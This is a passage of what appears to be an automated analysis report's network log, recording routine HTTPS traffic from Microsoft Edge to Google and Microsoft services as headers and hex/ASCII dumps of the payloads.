2024-07-26 08:37:27 UTC	1953	IN	Data Raw: 65 6e 67 74 68 3b 65 2b 2b 29 7b 65 3e 30 26 26 63 2e 70 75 73 68 28 22 2c 20 22 29 3b 76 61 72 20 66 3d 64 5b 65 5d 3b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 66 29 7b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 66 3d 66 3f 22 6f 62 6a 65 63 74 22 3a 22 6e 75 6c 6c 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 73 74 72 69 6e 67 22 3a 62 72 65 61 6b 3b 63 61 73 65 20 22 6e 75 6d 62 65 72 22 3a 66 3d 53 74 72 69 6e 67 28 66 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 66 3d 66 3f 22 74 72 75 65 22 3a 22 66 61 6c 73 65 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 66 75 6e 63 74 69 6f 6e 22 3a 66 3d 28 66 3d 6c 62 28 66 29 29 3f 66 3a 22 5b 66 6e 5d 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 66 3d 0a 74 79 70 65 6f 66 20 66 7d 66 2e 6c Data Ascii: ength;e++){e>0&&c.push(", ");var f=d[e];switch(typeof f){case "object":f=f?"object":"null";break;case "string":break;case "number":f=String(f);break;case "boolean":f=f?"true":"false";break;case "function":f=(f=lb(f))?f:"[fn]";break;default:f=typeof f}f.l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49852	142.250.72.110	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:28 UTC	561	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:28 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Fri, 26 Jul 2024 08:37:28 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49853	142.250.72.110	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:28 UTC	561	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:28 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Fri, 26 Jul 2024 08:37:28 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49856	142.250.80.36	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:28 UTC	881	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.150" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150", "Google Chrome";v="117.0.5938.150" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:28 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Jul 2024 08:20:26 GMT Expires: Sat, 03 Aug 2024 08:20:26 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 1022 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-26 08:37:28 UTC	685	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-07-26 08:37:28 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-07-26 08:37:28 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-07-26 08:37:28 UTC	1390	IN	Data Raw: ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-07-26 08:37:28 UTC	575	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49862	13.107.246.40	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:29 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:29 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 08:37:29 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 78767fe6-a01e-000c-32e7-de86f6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240726T083729Z-15c77d89844lpvk7kaceup6mys00000001gg00000000800x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-26 08:37:29 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-07-26 08:37:29 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-07-26 08:37:29 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-07-26 08:37:29 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-07-26 08:37:29 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-07-26 08:37:29 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-07-26 08:37:29 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-07-26 08:37:30 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-07-26 08:37:30 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-07-26 08:37:30 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49908	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:42 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 46 6c 49 6f 34 62 69 38 57 30 75 4d 64 4d 72 53 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 31 62 65 32 66 31 37 36 62 31 34 33 65 34 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: FlIo4bi8W0uMdMrS.1Context: f1be2f176b143e41
